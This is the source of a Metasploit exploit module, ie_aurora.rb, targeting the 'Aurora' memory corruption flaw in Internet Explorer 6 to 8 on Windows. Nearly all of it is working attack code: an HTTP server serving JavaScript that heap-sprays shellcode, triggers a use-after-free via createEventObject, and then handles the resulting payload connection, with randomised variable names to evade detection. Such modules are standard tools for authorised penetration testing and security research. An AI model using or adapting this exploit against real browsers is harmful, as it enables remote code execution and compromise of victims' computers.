| 
 
|  | # $Id: ie_aurora.rb 8136 2010-01-15 21:36:04Z hdm $ ##
 
 ##
 # This file is part of the Metasploit Framework and may be subject to
 # redistribution and commercial restrictions. Please see the Metasploit
 # Framework web site for more information on licensing and terms of use.
 #http://metasploit.com/framework/
 ##
 
 require 'msf/core'
 
 class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking
 
 include Msf::Exploit::Remote::HttpServer::HTML
 include Msf::Exploit::Remote::BrowserAutopwn
 autopwn_info({
 :ua_name    => HttpClients::IE,
 :ua_minver  => "6.0",
 :ua_maxver  => "8.0",
 :javascript => true,
 :os_name    => OperatingSystems::WINDOWS,
 :vuln_test  => nil, # no way to test without just trying it
 })
 
 
 def initialize(info = {})
 super(update_info(info,
 'Name'           => 'Microsoft Internet Explorer "Aurora" Memory Corruption',
 'Description'    => %q{
 This module exploits a memory corruption flaw in Internet Explorer. This
 flaw was found in the wild.
 },
 'License'        => MSF_LICENSE,
 'Author'         =>
 [
 'unknown',
 'hdm'      # Metasploit port
 ],
 'Version'        => '$Revision: 8136 $',
 'References'     =>
 [
 ['URL', 'http://www.microsoft.com/technet/security/advisory/979352.mspx'],
 ['URL', 'http://wepawet.iseclab.org/view.php?hash=1aea206aa64ebeabb07237f1e2230d0f&type=js']
 
 ],
 'DefaultOptions' =>
 {
 'EXITFUNC' => 'process',
 },
 'Payload'        =>
 {
 'Space'    => 1000,
 'BadChars' => "\x00",
 'Compat'   =>
 {
 'ConnectionType' => '-find',
 },
 'StackAdjustment' => -3500,
 },
 'Platform'       => 'win',
 'Targets'        =>
 [
 [ 'Automatic', { }],
 ],
 'DisclosureDate' => 'Jan 14 2009', # wepawet sample
 'DefaultTarget'  => 0))
 end
 
 def on_request_uri(cli, request)
 
 if (request.uri.match(/\.gif/i))
 data = "R0lGODlhAQABAIAAAAAAAAAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==".unpack("m*")[0]
 send_response(cli, data, { 'Content-Type' => 'image/gif' })
 return
 end
 
 var_memory    = rand_text_alpha(rand(100) + 1)
 var_boom      = rand_text_alpha(rand(100) + 1)
 var_x1        = rand_text_alpha(rand(100) + 1)
 var_e1        = rand_text_alpha(rand(100) + 1)
 var_e2        = rand_text_alpha(rand(100) + 1)
 
 var_comment   = rand_text_alpha(rand(100) + 1);
 var_abc       = rand_text_alpha(3);
 
 var_ev1       = rand_text_alpha(rand(100) + 1)
 var_ev2       = rand_text_alpha(rand(100) + 1)
 var_sp1       = rand_text_alpha(rand(100) + 1)
 
 var_unescape  = rand_text_alpha(rand(100) + 1)
 var_shellcode = rand_text_alpha(rand(100) + 1)
 var_spray     = rand_text_alpha(rand(100) + 1)
 var_start     = rand_text_alpha(rand(100) + 1)
 var_i         = rand_text_alpha(rand(100) + 1)
 
 rand_html     = rand_text_english(rand(400) + 500)
 
 html = %Q|<html>
 <head>
 <script>
 
 var #{var_comment} = "COMMENT";
 
 var #{var_x1} = new Array();
 for (i = 0; i < 200; i ++ ){
 #{var_x1} = document.createElement(#{var_comment});
 #{var_x1}.data = "#{var_abc}";
 };
 
 var #{var_e1} = null;
 
 var #{var_memory} = new Array();
 var #{var_unescape} = unescape;
 
 function #{var_boom}() {
 
 var #{var_shellcode} = #{var_unescape}( '#{Rex::Text.to_unescape(regenerate_payload(cli).encoded)}');
 
 var #{var_spray} = #{var_unescape}( "%" + "u" + "0" + "c" + "0" + "d" + "%u" + "0" + "c" + "0" + "d" );
 
 do { #{var_spray} += #{var_spray} } while( #{var_spray}.length < 0xd0000 );
 
 for(#{var_i} = 0; #{var_i} < 100; #{var_i}++) #{var_memory}[#{var_i}] = #{var_spray} + #{var_shellcode};
 }
 
 function #{var_ev1}(evt){
 #{var_boom}();
 #{var_e1} = document.createEventObject(evt);
 document.getElementById("#{var_sp1}").innerHTML = "";
 window.setInterval(#{var_ev2}, 50);
 }
 
 function #{var_ev2}(){
 p = "\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d";
 for (i = 0; i < #{var_x1}.length; i ++ ){
 #{var_x1}.data = p;
 }
 
 var t = #{var_e1}.srcElement;
 }
 </script>
 </head>
 <body>
 
 <span id="#{var_sp1}"><img src="#{get_resource}#{var_start}.gif" onload="#{var_ev1}(event)"></span></body></html>
 
 </body>
 </html>
 |
 
 # Transmit the compressed response to the client
 send_response(cli, html, { 'Content-Type' => 'text/html', 'Pragma' => 'no-cache' })
 
 # Handle the payload
 handler(cli)
 end
 end
 
 |   
|  |  |